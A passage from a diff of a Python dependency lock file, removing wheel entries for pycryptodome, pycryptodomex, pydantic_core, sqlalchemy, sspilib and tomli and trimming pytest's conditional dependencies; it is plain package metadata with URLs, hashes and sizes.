{ url = "https://files.pythonhosted.org/packages/95/43/a01dcf1ed39c9a9e9c9d3f9d98040deeceedaa7cdf043e175251f2e13f44/pycryptodome-3.22.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f5810bc7494e4ac12a4afef5a32218129e7d3890ce3f2b5ec520cc69eb1102ad", size = 1697246, upload-time = "2025-03-15T23:03:18.436Z" },
{ url = "https://files.pythonhosted.org/packages/3b/49/195842931f9ee6f14cd63ef85e06b93073463ed59601fb283ba9b813cd53/pycryptodome-3.22.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e7514a1aebee8e85802d154fdb261381f1cb9b7c5a54594545145b8ec3056ae6", size = 1797436, upload-time = "2025-03-15T23:03:21.294Z" },
]
[[package]]
@@ -1709,11 +1626,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/8d/67/09ee8500dd22614af5fbaa51a4aee6e342b5fa8aecf0a6cb9cbf52fa6d45/pycryptodomex-3.23.0-cp37-abi3-win32.whl", hash = "sha256:189afbc87f0b9f158386bf051f720e20fa6145975f1e76369303d0f31d1a8d7c", size = 1771969, upload-time = "2025-05-17T17:23:07.115Z" },
{ url = "https://files.pythonhosted.org/packages/69/96/11f36f71a865dd6df03716d33bd07a67e9d20f6b8d39820470b766af323c/pycryptodomex-3.23.0-cp37-abi3-win_amd64.whl", hash = "sha256:52e5ca58c3a0b0bd5e100a9fbc8015059b05cffc6c66ce9d98b4b45e023443b9", size = 1803124, upload-time = "2025-05-17T17:23:09.267Z" },
{ url = "https://files.pythonhosted.org/packages/f9/93/45c1cdcbeb182ccd2e144c693eaa097763b08b38cded279f0053ed53c553/pycryptodomex-3.23.0-cp37-abi3-win_arm64.whl", hash = "sha256:02d87b80778c171445d67e23d1caef279bf4b25c3597050ccd2e13970b57fd51", size = 1707161, upload-time = "2025-05-17T17:23:11.414Z" },
{ url = "https://files.pythonhosted.org/packages/f3/b8/3e76d948c3c4ac71335bbe75dac53e154b40b0f8f1f022dfa295257a0c96/pycryptodomex-3.23.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ebfff755c360d674306e5891c564a274a47953562b42fb74a5c25b8fc1fb1cb5", size = 1627695, upload-time = "2025-05-17T17:23:17.38Z" },
{ url = "https://files.pythonhosted.org/packages/6a/cf/80f4297a4820dfdfd1c88cf6c4666a200f204b3488103d027b5edd9176ec/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eca54f4bb349d45afc17e3011ed4264ef1cc9e266699874cdd1349c504e64798", size = 1675772, upload-time = "2025-05-17T17:23:19.202Z" },
{ url = "https://files.pythonhosted.org/packages/d1/42/1e969ee0ad19fe3134b0e1b856c39bd0b70d47a4d0e81c2a8b05727394c9/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4f2596e643d4365e14d0879dc5aafe6355616c61c2176009270f3048f6d9a61f", size = 1668083, upload-time = "2025-05-17T17:23:21.867Z" },
{ url = "https://files.pythonhosted.org/packages/6e/c3/1de4f7631fea8a992a44ba632aa40e0008764c0fb9bf2854b0acf78c2cf2/pycryptodomex-3.23.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fdfac7cda115bca3a5abb2f9e43bc2fb66c2b65ab074913643803ca7083a79ea", size = 1706056, upload-time = "2025-05-17T17:23:24.031Z" },
{ url = "https://files.pythonhosted.org/packages/f2/5f/af7da8e6f1e42b52f44a24d08b8e4c726207434e2593732d39e7af5e7256/pycryptodomex-3.23.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:14c37aaece158d0ace436f76a7bb19093db3b4deade9797abfc39ec6cd6cc2fe", size = 1806478, upload-time = "2025-05-17T17:23:26.066Z" },
]
[[package]]
@@ -1740,20 +1652,6 @@ dependencies = [
]
sdist = { url = "https://files.pythonhosted.org/packages/9d/56/921726b776ace8d8f5db44c4ef961006580d91dc52b803c489fafd1aa249/pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1", size = 471464, upload-time = "2026-05-06T13:37:06.98Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/e7/08/f1ba952f1c8ae5581c70fa9c6da89f247b83e3dd8c09c035d5d7931fc23d/pydantic_core-2.46.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:a396dcc17e5a0b164dbe026896245a4fa9ff402edca1dff0be3d53a517f74de4", size = 2113146, upload-time = "2026-05-06T13:37:36.537Z" },
{ url = "https://files.pythonhosted.org/packages/56/c6/65f646c7ff09bd257f660434adb45c4dfcbbcebcc030562fecf6f5bf887d/pydantic_core-2.46.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:da4b951fe36dc7c3a1ccb4e3cd1747c3542b8c9ceede8fc86cae054e764485f5", size = 1949769, upload-time = "2026-05-06T13:37:46.365Z" },
{ url = "https://files.pythonhosted.org/packages/64/ba/bfb1d928fd5b49e1258935ff104ae356e9fd89384a55bf9f847e9193ad40/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb63e0198ca18aad131c089b9204c23079c3afa95487e561f4c522d519e55aba", size = 1974958, upload-time = "2026-05-06T13:37:28.611Z" },
{ url = "https://files.pythonhosted.org/packages/4e/74/76223bfb117b64af743c9b6670d1364516f5c0604f96b48f3272f6af6cc6/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f47286a97f0bc9b8859519809077b91b2cefe4ae47fcbf5e466a009c1c5d742b", size = 2042118, upload-time = "2026-05-06T13:36:55.216Z" },
{ url = "https://files.pythonhosted.org/packages/cb/7b/848732968bc8f48f3187542f08358b9d842db564147b256669426ebb1652/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:905a0ed8ea6f2d61c1738835f99b699348d7857379083e5fc497fa0c967a407c", size = 2222876, upload-time = "2026-05-06T13:38:25.455Z" },
{ url = "https://files.pythonhosted.org/packages/b5/2f/e90b63ee2e14bd8d3db8f705a6d75d64e6ee1b7c2c8833747ce706e1e0ce/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea793e075b70290d89d8142074262885d3f7da19634845135751bd6344f73b50", size = 2286703, upload-time = "2026-05-06T13:37:53.304Z" },
{ url = "https://files.pythonhosted.org/packages/ba/1e/acc4d70f88a0a277e4a1fa77ebb985ceabaf900430f875bf9338e11c9420/pydantic_core-2.46.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:395aebd9183f9d112f569aeb5b2214d1a10a33bec8456447f7fbdfa51d38d4cd", size = 2092042, upload-time = "2026-05-06T13:38:46.981Z" },
{ url = "https://files.pythonhosted.org/packages/a9/da/0a422b57bf8504102bf3c4ccea9c41bab5a5cee6a54650acf8faf67f5a24/pydantic_core-2.46.4-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:b078afbc25f3a1436c7a1d2cd3e322497ee99615ba97c563566fdf46aff1ee01", size = 2117231, upload-time = "2026-05-06T13:39:23.146Z" },
{ url = "https://files.pythonhosted.org/packages/bd/2a/2ac13c3af305843e23c5078c53d135656b3f05a2fd78cb7bbbb12e97b473/pydantic_core-2.46.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f747929cf940cddb5b3668a390056ddd5ba2e5010615ea2dcf4f9c4f3ab8791d", size = 2168388, upload-time = "2026-05-06T13:40:08.06Z" },
{ url = "https://files.pythonhosted.org/packages/72/04/2beacf7e1607e93eefe4aed1b4709f079b905fb77530179d4f7c71745f22/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:daa27d92c36f24388fe3ad306b174781c747627f134452e4f128ea00ce1fe8c4", size = 2184769, upload-time = "2026-05-06T13:38:13.901Z" },
{ url = "https://files.pythonhosted.org/packages/9e/29/d2b9fd9f539133548eaf622c06a4ce176cb46ac59f32d0359c4abc0de047/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:19e51f073cd3df251856a8a4189fbdf1de4012c3ebacfb1884f94f1eb406079f", size = 2319312, upload-time = "2026-05-06T13:39:08.24Z" },
{ url = "https://files.pythonhosted.org/packages/7c/af/0f7a5b85fec6075bea96e3ef9187de38fccced0de92c1e7feda8d5cc7bb9/pydantic_core-2.46.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c1747f85cee84c26985853c6f3d9bd3e75da5212912443fa111c113b9c246f39", size = 2361817, upload-time = "2026-05-06T13:38:43.2Z" },
{ url = "https://files.pythonhosted.org/packages/25/a4/73363fec545fd3ec025490bdda2743c56d0dd5b6266b1a53bbe9e4265375/pydantic_core-2.46.4-cp310-cp310-win32.whl", hash = "sha256:2f84c03c8607173d16b5a854ec68a2f9079ae03237a54fb506d13af47e1d018d", size = 1987085, upload-time = "2026-05-06T13:39:25.497Z" },
{ url = "https://files.pythonhosted.org/packages/01/aa/62f082da2c91fac1c234bc9ee0066257ce83f0604abd72e4c9d5991f2d84/pydantic_core-2.46.4-cp310-cp310-win_amd64.whl", hash = "sha256:8358a950c8909158e3df31538a7e4edc2d7265a7c54b47f0864d9e5bae9dcebf", size = 2074311, upload-time = "2026-05-06T13:39:59.922Z" },
{ url = "https://files.pythonhosted.org/packages/5c/fa/6d7708d2cfc1a832acb6aeb0cd16e801902df8a0f583bb3b4b527fde022e/pydantic_core-2.46.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0e96592440881c74a213e5ad528e2b24d3d4f940de2766bed9010ab1d9e51594", size = 2111872, upload-time = "2026-05-06T13:40:27.596Z" },
{ url = "https://files.pythonhosted.org/packages/ae/6f/aa064a3e74b5745afbdf250594f38e7ead05e2d651bcb35994b9417a0d4d/pydantic_core-2.46.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0d65b8c354be7fb5f720c3caa8bc940bc2d20ce749c8e06135f07f8ed95dd7c", size = 1948255, upload-time = "2026-05-06T13:39:12.574Z" },
{ url = "https://files.pythonhosted.org/packages/43/3a/41114a9f7569b84b4d84e7a018c57c56347dac30c0d4a872946ec4e36c46/pydantic_core-2.46.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7bfb192b3f4b9e8a89b6277b6ce787564f62cfd272055f6e685726b111dc7826", size = 1972827, upload-time = "2026-05-06T13:38:19.841Z" },
@@ -2007,11 +1905,9 @@ version = "7.4.4"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "colorama", marker = "sys_platform == 'win32'" },
{ name = "exceptiongroup", marker = "python_full_version < '3.11'" },
{ name = "iniconfig" },
{ name = "packaging" },
{ name = "pluggy" },
{ name = "tomli", marker = "python_full_version < '3.11'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/80/1f/9d8e98e4133ffb16c90f3b405c43e38d3abb715bb5d7a63a5a684f7e46a3/pytest-7.4.4.tar.gz", hash = "sha256:2cf0005922c6ace4a3e2ec8b4080eb0d9753fdc93107415332f50ce9e7994280", size = 1357116, upload-time = "2023-12-31T12:00:18.035Z" }
wheels = [
@@ -2149,13 +2045,6 @@ dependencies = [
]
sdist = { url = "https://files.pythonhosted.org/packages/3b/21/77b4c147963073040dc3c3a5cb7a8c3001a1893c0209432cb77f9df836aa/sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97", size = 9945637, upload-time = "2026-08-11T19:07:09.829Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a6/d7/e0354e7334d33ea2795db3ecbe2977026c05a1ecf8ba4b5953c329872453/sqlalchemy-2.0.52-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a7438774e1091192fc50a2bd8ceff5c596912d00ecd46587e88effdea7826101", size = 2172616, upload-time = "2026-08-11T20:58:21.078Z" },
{ url = "https://files.pythonhosted.org/packages/5b/64/98eef682e6946eb1b4195a9a2393db4662ebfcc89f823ae78b938765c3c0/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c1b7ed45bf87b214e0a9def9c2313949067efe6269db5ef18d542ee13250af7", size = 3279798, upload-time = "2026-08-11T21:00:03.535Z" },
{ url = "https://files.pythonhosted.org/packages/20/05/5b96afc1407c314347ad006b72bb251fb68ef84d05505ebf8a39bc47fcde/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:309cc8ba50fc5d2174189dfcd49cdf7aa711f8346afcff19f2642ae4fc449c14", size = 3277555, upload-time = "2026-08-11T21:05:47.932Z" },
{ url = "https://files.pythonhosted.org/packages/50/69/ce6776724511d1b5dd40477b08d6a5f0953a45375e092dfa852b1857732c/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2f9eccf8793c8c3f8dd2dfd11b9e400cb27d1d19370ef732b66017e212107822", size = 3231246, upload-time = "2026-08-11T21:00:05.184Z" },
{ url = "https://files.pythonhosted.org/packages/72/19/ab0cb9ccdafa2419c796ae62f8740aedb903f1e93bb326064b1a0147e458/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9255ceb65a80c1b001129060b63ee776a2e9c288be3b662be36dfbb888fffdcd", size = 3250763, upload-time = "2026-08-11T21:05:49.664Z" },
{ url = "https://files.pythonhosted.org/packages/41/f2/3c9b54b61bec4f493c0007dc9e2700c963c5b32667e21a506f1aca7a8115/sqlalchemy-2.0.52-cp310-cp310-win32.whl", hash = "sha256:2e15b1d1116a64fc399b8c2694a83f3e792fdc58df28514a81e1dc4f8cf22729", size = 2132169, upload-time = "2026-08-11T21:09:48.108Z" },
{ url = "https://files.pythonhosted.org/packages/b3/a1/934bb6cf543a398c72784d1fc777eb530559c16ebe1549fa7611e5989ce9/sqlalchemy-2.0.52-cp310-cp310-win_amd64.whl", hash = "sha256:11560064cc4696e772298b6221ede59e646386d9f2a85d549365473b972f7850", size = 2156289, upload-time = "2026-08-11T21:09:49.429Z" },
{ url = "https://files.pythonhosted.org/packages/6b/08/cc5f7627b92f1456bc0b5fb7e98af4600248abe422a44da0d17a3fe6a448/sqlalchemy-2.0.52-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0c3ce43907374889f3352bdcc6195c970148a2cb71574cd0237a5071a37fb6c", size = 2172460, upload-time = "2026-08-11T20:58:22.429Z" },
{ url = "https://files.pythonhosted.org/packages/ed/dc/9a2abad8bfc8fdcd38c64adc056aeefab7aaa96ecd32f5e8c140e6375f17/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a0d48c4b80717c61385b4e966e087c839a66cfd7b780641dcb428f4dba65608", size = 3355720, upload-time = "2026-08-11T21:00:06.746Z" },
{ url = "https://files.pythonhosted.org/packages/a8/73/e75597b5841043e3c74055d00d4feb53d9a49a5c89ba2450d2d9aab53597/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938325a5373267afc53bfbe72983b20fbd64ca47842aac62433c3da1137ecff1", size = 3354394, upload-time = "2026-08-11T21:05:51.454Z" },
@@ -2194,9 +2083,6 @@ version = "0.5.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/a7/e6/d0d74b18bed8c16949fddc0401005c072947ae7bf1bab982ed28f9ebc2d8/sspilib-0.5.0.tar.gz", hash = "sha256:b62f7f2602aa1add0505eee2417e2df24421224cb411e53bf3ae42a71b62fe98", size = 59920, upload-time = "2025-12-03T00:31:05.564Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/6d/cb/7cc967b48d182cb012229ccc9f9e3fd5e245b7f0c80667297ddded580877/sspilib-0.5.0-cp310-cp310-win32.whl", hash = "sha256:8dab68e994d24a08f854d36ac96409b3b8cc03fdebc590925f76f9d733c3a902", size = 475882, upload-time = "2025-12-03T00:30:23.403Z" },
{ url = "https://files.pythonhosted.org/packages/7b/0d/7746ade4e3c4dba6c6d9b2afe3c3903f4bcab2da6b300b5d81afee089196/sspilib-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e1947df07110ee1861009fc117bd089a7710403f3f5c488fb52a6e00b7c5b84", size = 563068, upload-time = "2025-12-03T00:30:24.605Z" },
{ url = "https://files.pythonhosted.org/packages/8d/fb/6821418037e9d78179153e770e2b0280956f28f4bf51069dcbcc0348505d/sspilib-0.5.0-cp310-cp310-win_arm64.whl", hash = "sha256:28d0eb944f7ff70bc99fe729d06fa230aec1649c5bc216809e359cd0c77d4840", size = 486370, upload-time = "2025-12-03T00:30:26.21Z" },
{ url = "https://files.pythonhosted.org/packages/ce/1b/dd9066491168933b0f7ab6e396ac58cc024c8954e95264c38e3dc9363d7c/sspilib-0.5.0-cp311-abi3-win32.whl", hash = "sha256:fcb57b41b3200ef2e6e8846e2a13799d20b35b796267f2f75cc65e3883e8eeb6", size = 451246, upload-time = "2025-12-03T00:30:36.685Z" },
{ url = "https://files.pythonhosted.org/packages/17/6a/a11abf90172ff580ac2f9ade3496d868e05e851c4ecf487dd5baeb966b1d/sspilib-0.5.0-cp311-abi3-win_amd64.whl", hash = "sha256:ca2a21a4e90db563c2cec639c66b3a29ea53129a0c55ff1e4154a02937f6bd45", size = 540777, upload-time = "2025-12-03T00:30:38.44Z" },
{ url = "https://files.pythonhosted.org/packages/45/05/983876d281b9e7926f1c9126e72de8bd5928b1de45433163f54d4e217502/sspilib-0.5.0-cp311-abi3-win_arm64.whl", hash = "sha256:6893bad16f122fc3c4bd908461b9728694465c05ca97c22f7e2094791c4ee3cb", size = 470353, upload-time = "2025-12-03T00:30:39.63Z" },
@@ -2232,60 +2118,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/ea/66/6053d908e5789877ee702c102935634961a731e3db7d1caa2f1201a99598/terminaltables3-4.0.0-py3-none-any.whl", hash = "sha256:93b4c722f35400a7869cd630e2bbab616b129d1c47c628765c7f47baab2ca270", size = 15806, upload-time = "2024-07-21T17:07:24.85Z" },
]
[[package]]
name = "tomli"
version = "2.4.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/22/de/48c59722572767841493b26183a0d1cc411d54fd759c5607c4590b6563a6/tomli-2.4.1.tar.gz", hash = "sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f", size = 17543, upload-time = "2026-03-25T20:22:03.828Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/f4/11/db3d5885d8528263d8adc260bb2d28ebf1270b96e98f0e0268d32b8d9900/tomli-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f8f0fc26ec2cc2b965b7a3b87cd19c5c6b8c5e5f436b984e85f486d652285c30", size = 154704, upload-time = "2026-03-25T20:21:10.473Z" },
{ url = "https://files.pythonhosted.org/packages/6d/f7/675db52c7e46064a9aa928885a9b20f4124ecb9bc2e1ce74c9106648d202/tomli-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a", size = 149454, upload-time = "2026-03-25T20:21:12.036Z" },
{ url = "https://files.pythonhosted.org/packages/61/71/81c50943cf953efa35bce7646caab3cf457a7d8c030b27cfb40d7235f9ee/tomli-2.4.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076", size = 237561, upload-time = "2026-03-25T20:21:13.098Z" },
{ url = "https://files.pythonhosted.org/packages/48/c1/f41d9cb618acccca7df82aaf682f9b49013c9397212cb9f53219e3abac37/tomli-2.4.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9", size = 243824, upload-time = "2026-03-25T20:21:14.569Z" },
{ url = "https://files.pythonhosted.org/packages/22/e4/5a816ecdd1f8ca51fb756ef684b90f2780afc52fc67f987e3c61d800a46d/tomli-2.4.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c", size = 242227, upload-time = "2026-03-25T20:21:15.712Z" },
{ url = "https://files.pythonhosted.org/packages/6b/49/2b2a0ef529aa6eec245d25f0c703e020a73955ad7edf73e7f54ddc608aa5/tomli-2.4.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ec9bfaf3ad2df51ace80688143a6a4ebc09a248f6ff781a9945e51937008fcbc", size = 247859, upload-time = "2026-03-25T20:21:17.001Z" },
{ url = "https://files.pythonhosted.org/packages/83/bd/6c1a630eaca337e1e78c5903104f831bda934c426f9231429396ce3c3467/tomli-2.4.1-cp311-cp311-win32.whl", hash = "sha256:ff2983983d34813c1aeb0fa89091e76c3a22889ee83ab27c5eeb45100560c049", size = 97204, upload-time = "2026-03-25T20:21:18.079Z" },
{ url = "https://files.pythonhosted.org/packages/42/59/71461df1a885647e10b6bb7802d0b8e66480c61f3f43079e0dcd315b3954/tomli-2.4.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e", size = 108084, upload-time = "2026-03-25T20:21:18.978Z" },
{ url = "https://files.pythonhosted.org/packages/b8/83/dceca96142499c069475b790e7913b1044c1a4337e700751f48ed723f883/tomli-2.4.1-cp311-cp311-win_arm64.whl", hash = "sha256:c2541745709bad0264b7d4705ad453b76ccd191e64aa6f0fc66b69a293a45ece", size = 95285, upload-time = "2026-03-25T20:21:20.309Z" },
{ url = "https://files.pythonhosted.org/packages/c1/ba/42f134a3fe2b370f555f44b1d72feebb94debcab01676bf918d0cb70e9aa/tomli-2.4.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c742f741d58a28940ce01d58f0ab2ea3ced8b12402f162f4d534dfe18ba1cd6a", size = 155924, upload-time = "2026-03-25T20:21:21.626Z" },
{ url = "https://files.pythonhosted.org/packages/dc/c7/62d7a17c26487ade21c5422b646110f2162f1fcc95980ef7f63e73c68f14/tomli-2.4.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085", size = 150018, upload-time = "2026-03-25T20:21:23.002Z" },
{ url = "https://files.pythonhosted.org/packages/5c/05/79d13d7c15f13bdef410bdd49a6485b1c37d28968314eabee452c22a7fda/tomli-2.4.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ff18e6a727ee0ab0388507b89d1bc6a22b138d1e2fa56d1ad494586d61d2eae9", size = 244948, upload-time = "2026-03-25T20:21:24.04Z" },
{ url = "https://files.pythonhosted.org/packages/10/90/d62ce007a1c80d0b2c93e02cab211224756240884751b94ca72df8a875ca/tomli-2.4.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5", size = 253341, upload-time = "2026-03-25T20:21:25.177Z" },
{ url = "https://files.pythonhosted.org/packages/1a/7e/caf6496d60152ad4ed09282c1885cca4eea150bfd007da84aea07bcc0a3e/tomli-2.4.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585", size = 248159, upload-time = "2026-03-25T20:21:26.364Z" },
{ url = "https://files.pythonhosted.org/packages/99/e7/c6f69c3120de34bbd882c6fba7975f3d7a746e9218e56ab46a1bc4b42552/tomli-2.4.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1", size = 253290, upload-time = "2026-03-25T20:21:27.46Z" },
{ url = "https://files.pythonhosted.org/packages/d6/2f/4a3c322f22c5c66c4b836ec58211641a4067364f5dcdd7b974b4c5da300c/tomli-2.4.1-cp312-cp312-win32.whl", hash = "sha256:da25dc3563bff5965356133435b757a795a17b17d01dbc0f42fb32447ddfd917", size = 98141, upload-time = "2026-03-25T20:21:28.492Z" },
{ url = "https://files.pythonhosted.org/packages/24/22/4daacd05391b92c55759d55eaee21e1dfaea86ce5c571f10083360adf534/tomli-2.4.1-cp312-cp312-win_amd64.whl", hash = "sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9", size = 108847, upload-time = "2026-03-25T20:21:29.386Z" },
{ url = "https://files.pythonhosted.org/packages/68/fd/70e768887666ddd9e9f5d85129e84910f2db2796f9096aa02b721a53098d/tomli-2.4.1-cp312-cp312-win_arm64.whl", hash = "sha256:f758f1b9299d059cc3f6546ae2af89670cb1c4d48ea29c3cacc4fe7de3058257", size = 95088, upload-time = "2026-03-25T20:21:30.677Z" },
{ url = "https://files.pythonhosted.org/packages/07/06/b823a7e818c756d9a7123ba2cda7d07bc2dd32835648d1a7b7b7a05d848d/tomli-2.4.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54", size = 155866, upload-time = "2026-03-25T20:21:31.65Z" },
{ url = "https://files.pythonhosted.org/packages/14/6f/12645cf7f08e1a20c7eb8c297c6f11d31c1b50f316a7e7e1e1de6e2e7b7e/tomli-2.4.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:eb0dc4e38e6a1fd579e5d50369aa2e10acfc9cace504579b2faabb478e76941a", size = 149887, upload-time = "2026-03-25T20:21:33.028Z" },
{ url = "https://files.pythonhosted.org/packages/5c/e0/90637574e5e7212c09099c67ad349b04ec4d6020324539297b634a0192b0/tomli-2.4.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c7f2c7f2b9ca6bdeef8f0fa897f8e05085923eb091721675170254cbc5b02897", size = 243704, upload-time = "2026-03-25T20:21:34.51Z" },
{ url = "https://files.pythonhosted.org/packages/10/8f/d3ddb16c5a4befdf31a23307f72828686ab2096f068eaf56631e136c1fdd/tomli-2.4.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f3c6818a1a86dd6dca7ddcaaf76947d5ba31aecc28cb1b67009a5877c9a64f3f", size = 251628, upload-time = "2026-03-25T20:21:36.012Z" },
{ url = "https://files.pythonhosted.org/packages/e3/f1/dbeeb9116715abee2485bf0a12d07a8f31af94d71608c171c45f64c0469d/tomli-2.4.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d312ef37c91508b0ab2cee7da26ec0b3ed2f03ce12bd87a588d771ae15dcf82d", size = 247180, upload-time = "2026-03-25T20:21:37.136Z" },
{ url = "https://files.pythonhosted.org/packages/d3/74/16336ffd19ed4da28a70959f92f506233bd7cfc2332b20bdb01591e8b1d1/tomli-2.4.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5", size = 251674, upload-time = "2026-03-25T20:21:38.298Z" },
{ url = "https://files.pythonhosted.org/packages/16/f9/229fa3434c590ddf6c0aa9af64d3af4b752540686cace29e6281e3458469/tomli-2.4.1-cp313-cp313-win32.whl", hash = "sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd", size = 97976, upload-time = "2026-03-25T20:21:39.316Z" },
{ url = "https://files.pythonhosted.org/packages/6a/1e/71dfd96bcc1c775420cb8befe7a9d35f2e5b1309798f009dca17b7708c1e/tomli-2.4.1-cp313-cp313-win_amd64.whl", hash = "sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36", size = 108755, upload-time = "2026-03-25T20:21:40.248Z" },
{ url = "https://files.pythonhosted.org/packages/83/7a/d34f422a021d62420b78f5c538e5b102f62bea616d1d75a13f0a88acb04a/tomli-2.4.1-cp313-cp313-win_arm64.whl", hash = "sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd", size = 95265, upload-time = "2026-03-25T20:21:41.219Z" },
{ url = "https://files.pythonhosted.org/packages/3c/fb/9a5c8d27dbab540869f7c1f8eb0abb3244189ce780ba9cd73f3770662072/tomli-2.4.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:fd0409a3653af6c147209d267a0e4243f0ae46b011aa978b1080359fddc9b6cf", size = 155726, upload-time = "2026-03-25T20:21:42.23Z" },
